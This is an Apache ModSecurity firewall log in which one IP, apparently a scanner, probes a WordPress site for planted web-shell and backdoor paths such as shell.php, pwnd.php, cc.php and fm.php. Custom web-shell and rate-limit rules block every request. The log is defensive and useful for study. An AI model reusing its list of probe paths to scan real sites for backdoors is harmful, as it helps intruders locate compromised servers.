[Sun Dec 14 01:36:54.092217 2025] [:error] [pid 3634:tid 3641] [client 4.193.251.36:6045] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aT2kNobt-wTl4d7Q7qp9nAAAAEM"]
[Sun Dec 14 01:36:54.266087 2025] [:error] [pid 3720:tid 3736] [client 4.193.251.36:6129] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aT2kNu7_sgsCEY5RMYri3AAAAI4"]
[Sun Dec 14 01:36:54.439931 2025] [:error] [pid 14689:tid 14714] [client 4.193.251.36:5893] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aT2kNkEcifvaa9I7SnmAxwAAAVU"]
[Sun Dec 14 01:36:54.614229 2025] [:error] [pid 14654:tid 14672] [client 4.193.251.36:6117] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aT2kNjqZP_N7tgSGeZcyCwAAAA8"]
[Sun Dec 14 01:36:54.787983 2025] [:error] [pid 3635:tid 3688] [client 4.193.251.36:6053] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aT2kNjqfhzW7OpfKxKzqjwAAANc"]
[Sun Dec 14 01:36:54.962391 2025] [:error] [pid 3636:tid 3704] [client 4.193.251.36:6088] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aT2kNt4pNg3LXPqKgeY7CwAAAQw"]
[Sun Dec 14 01:36:55.146669 2025] [:error] [pid 14654:tid 14669] [client 4.193.251.36:6049] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aT2kNzqZP_N7tgSGeZcyDAAAAAw"]
[Sun Dec 14 01:36:55.320679 2025] [:error] [pid 3636:tid 3702] [client 4.193.251.36:24117] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aT2kN94pNg3LXPqKgeY7DAAAAQo"]
[Sun Dec 14 01:36:55.495435 2025] [:error] [pid 14654:tid 14662] [client 4.193.251.36:6042] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/date.php"] [unique_id "aT2kNzqZP_N7tgSGeZcyDQAAAAU"]
[Sun Dec 14 01:36:55.669654 2025] [:error] [pid 3636:tid 3708] [client 4.193.251.36:6071] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/date.php"] [unique_id "aT2kN94pNg3LXPqKgeY7DQAAARA"]
[Sun Dec 14 01:36:55.843737 2025] [:error] [pid 3634:tid 3659] [client 4.193.251.36:6046] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/date.php"] [unique_id "aT2kN4bt-wTl4d7Q7qp9nQAAAFU"]
[Sun Dec 14 01:36:56.017494 2025] [:error] [pid 3636:tid 3715] [client 4.193.251.36:24177] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/date.php"] [unique_id "aT2kON4pNg3LXPqKgeY7DgAAARc"]
[Sun Dec 14 01:36:56.191013 2025] [:error] [pid 14689:tid 14713] [client 4.193.251.36:24116] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/x.php"] [unique_id "aT2kOEEcifvaa9I7SnmAyAAAAVQ"]
[Sun Dec 14 01:36:56.365036 2025] [:error] [pid 14689:tid 14702] [client 4.193.251.36:24124] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/x.php"] [unique_id "aT2kOEEcifvaa9I7SnmAyQAAAUk"]
[Sun Dec 14 01:36:56.538383 2025] [:error] [pid 3636:tid 3699] [client 4.193.251.36:5983] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/x.php"] [unique_id "aT2kON4pNg3LXPqKgeY7DwAAAQc"]
[Sun Dec 14 01:36:56.712531 2025] [:error] [pid 14689:tid 14707] [client 4.193.251.36:5967] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/x.php"] [unique_id "aT2kOEEcifvaa9I7SnmAygAAAU4"]
[Sun Dec 14 01:36:56.886963 2025] [:error] [pid 14689:tid 14711] [client 4.193.251.36:6009] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aT2kOEEcifvaa9I7SnmAywAAAVI"]
[Sun Dec 14 01:36:57.062264 2025] [:error] [pid 14654:tid 14658] [client 4.193.251.36:6128] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "aT2kOTqZP_N7tgSGeZcyDgAAAAE"]
[Sun Dec 14 01:36:57.236454 2025] [:error] [pid 3720:tid 3725] [client 4.193.251.36:5903] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "aT2kOe7_sgsCEY5RMYri3gAAAIM"]
[Sun Dec 14 01:36:57.411639 2025] [:error] [pid 3720:tid 3722] [client 4.193.251.36:5996] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "aT2kOe7_sgsCEY5RMYri3wAAAIA"]
[Sun Dec 14 01:36:57.585474 2025] [:error] [pid 14654:tid 14674] [client 4.193.251.36:6021] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/chosen.php"] [unique_id "aT2kOTqZP_N7tgSGeZcyDwAAABE"]
[Sun Dec 14 01:36:57.761040 2025] [:error] [pid 3636:tid 3716] [client 4.193.251.36:24134] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "aT2kOd4pNg3LXPqKgeY7EAAAARg"]
[Sun Dec 14 01:36:57.935751 2025] [:error] [pid 3635:tid 3689] [client 4.193.251.36:6077] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "aT2kOTqfhzW7OpfKxKzqkAAAANg"]
[Sun Dec 14 01:36:58.109825 2025] [:error] [pid 3720:tid 3733] [client 4.193.251.36:5952] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "aT2kOu7_sgsCEY5RMYri4AAAAIs"]
[Sun Dec 14 01:36:58.284004 2025] [:error] [pid 3720:tid 3728] [client 4.193.251.36:5974] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aT2kOu7_sgsCEY5RMYri4QAAAIY"]
[Sun Dec 14 01:36:58.456809 2025] [:error] [pid 3720:tid 3730] [client 4.193.251.36:6063] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aT2kOu7_sgsCEY5RMYri4gAAAIg"]
[Sun Dec 14 01:36:58.630286 2025] [:error] [pid 3720:tid 3735] [client 4.193.251.36:6064] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aT2kOu7_sgsCEY5RMYri4wAAAI0"]
[Sun Dec 14 01:36:58.805448 2025] [:error] [pid 14689:tid 14693] [client 4.193.251.36:6079] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aT2kOkEcifvaa9I7SnmAzwAAAUA"]
[Sun Dec 14 01:36:58.980194 2025] [:error] [pid 14689:tid 14712] [client 4.193.251.36:5906] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/shell.php"] [unique_id "aT2kOkEcifvaa9I7SnmA0AAAAVM"]
[Sun Dec 14 01:36:59.154374 2025] [:error] [pid 14689:tid 14715] [client 4.193.251.36:6029] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aT2kO0Ecifvaa9I7SnmA0QAAAVY"]
[Sun Dec 14 01:36:59.327715 2025] [:error] [pid 3634:tid 3647] [client 4.193.251.36:6033] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aT2kO4bt-wTl4d7Q7qp9oAAAAEk"]
[Sun Dec 14 01:36:59.503036 2025] [:error] [pid 14689:tid 14699] [client 4.193.251.36:6043] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aT2kO0Ecifvaa9I7SnmA0gAAAUY"]
[Sun Dec 14 01:36:59.678339 2025] [:error] [pid 3636:tid 3692] [client 4.193.251.36:6024] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aT2kO94pNg3LXPqKgeY7EgAAAQA"]
[Sun Dec 14 01:36:59.852440 2025] [:error] [pid 3720:tid 3740] [client 4.193.251.36:24119] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aT2kO-7_sgsCEY5RMYri5gAAAJI"]
[Sun Dec 14 01:37:00.032844 2025] [:error] [pid 3720:tid 3729] [client 4.193.251.36:6004] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aT2kPO7_sgsCEY5RMYri5wAAAIc"]
[Sun Dec 14 01:37:00.206760 2025] [:error] [pid 3636:tid 3694] [client 4.193.251.36:6081] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aT2kPN4pNg3LXPqKgeY7EwAAAQI"]
[Sun Dec 14 01:37:00.380928 2025] [:error] [pid 14689:tid 14701] [client 4.193.251.36:5993] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aT2kPEEcifvaa9I7SnmA1AAAAUg"]
[Sun Dec 14 01:37:00.556398 2025] [:error] [pid 14689:tid 14698] [client 4.193.251.36:5957] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aT2kPEEcifvaa9I7SnmA1QAAAUU"]
[Sun Dec 14 01:37:00.730339 2025] [:error] [pid 14689:tid 14700] [client 4.193.251.36:6051] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aT2kPEEcifvaa9I7SnmA1gAAAUc"]
[Sun Dec 14 01:37:00.904873 2025] [:error] [pid 14689:tid 14703] [client 4.193.251.36:6002] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aT2kPEEcifvaa9I7SnmA1wAAAUo"]
[Sun Dec 14 01:37:01.079018 2025] [:error] [pid 14689:tid 14716] [client 4.193.251.36:6052] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/fm.php"] [unique_id "aT2kPUEcifvaa9I7SnmA2AAAAVc"]
[Sun Dec 14 01:37:01.252916 2025] [:error] [pid 14689:tid 14714] [client 4.193.251.36:6013] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/fm.php"] [unique_id "aT2kPUEcifvaa9I7SnmA2QAAAVU"]
[Sun Dec 14 01:37:01.426655 2025] [:error] [pid 3636:tid 3703] [client 4.193.251.36:6012] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/fm.php"] [unique_id "aT2kPd4pNg3LXPqKgeY7FAAAAQs"]
[Sun Dec 14 01:37:01.601297 2025] [:error] [pid 3635:tid 3681] [client 4.193.251.36:24126] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/fm.php"] [unique_id "aT2kPTqfhzW7OpfKxKzqkQAAANA"]
[Sun Dec 14 01:37:01.776620 2025] [:error] [pid 14689:tid 14713] [client 4.193.251.36:5919] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/variations.php"] [unique_id "aT2kPUEcifvaa9I7SnmA2wAAAVQ"]
[Sun Dec 14 01:37:01.952050 2025] [:error] [pid 3635:tid 3674] [client 4.193.251.36:5968] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/wp-login.php"] [unique_id "aT2kPTqfhzW7OpfKxKzqkgAAAMk"]
[Sun Dec 14 01:37:02.128143 2025] [:error] [pid 14689:tid 14707] [client 4.193.251.36:5954] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aT2kPkEcifvaa9I7SnmA3AAAAU4"]
[Sun Dec 14 01:37:02.306510 2025] [:error] [pid 14689:tid 14704] [client 4.193.251.36:5953] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aT2kPkEcifvaa9I7SnmA3gAAAUs"]
[Sun Dec 14 01:37:02.480158 2025] [:error] [pid 14689:tid 14705] [client 4.193.251.36:5982] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aT2kPkEcifvaa9I7SnmA3wAAAUw"]
[Sun Dec 14 01:37:02.654586 2025] [:error] [pid 14654:tid 14670] [client 4.193.251.36:6076] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/link.php"] [unique_id "aT2kPjqZP_N7tgSGeZcyEQAAAA0"]
[Sun Dec 14 01:37:02.828592 2025] [:error] [pid 14689:tid 14697] [client 4.193.251.36:5890] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/link.php"] [unique_id "aT2kPkEcifvaa9I7SnmA4AAAAUQ"]
[Sun Dec 14 01:37:03.001803 2025] [:error] [pid 14689:tid 14695] [client 4.193.251.36:5972] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/link.php"] [unique_id "aT2kP0Ecifvaa9I7SnmA4QAAAUI"]
[Sun Dec 14 01:37:03.175870 2025] [:error] [pid 14654:tid 14675] [client 4.193.251.36:5981] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/link.php"] [unique_id "aT2kPzqZP_N7tgSGeZcyEwAAABI"]
[Sun Dec 14 01:37:03.350346 2025] [:error] [pid 14654:tid 14661] [client 4.193.251.36:5971] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "aT2kPzqZP_N7tgSGeZcyFAAAAAQ"]
[Sun Dec 14 01:37:03.527829 2025] [:error] [pid 14689:tid 14694] [client 4.193.251.36:24131] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/function.php"] [unique_id "aT2kP0Ecifvaa9I7SnmA4gAAAUE"]
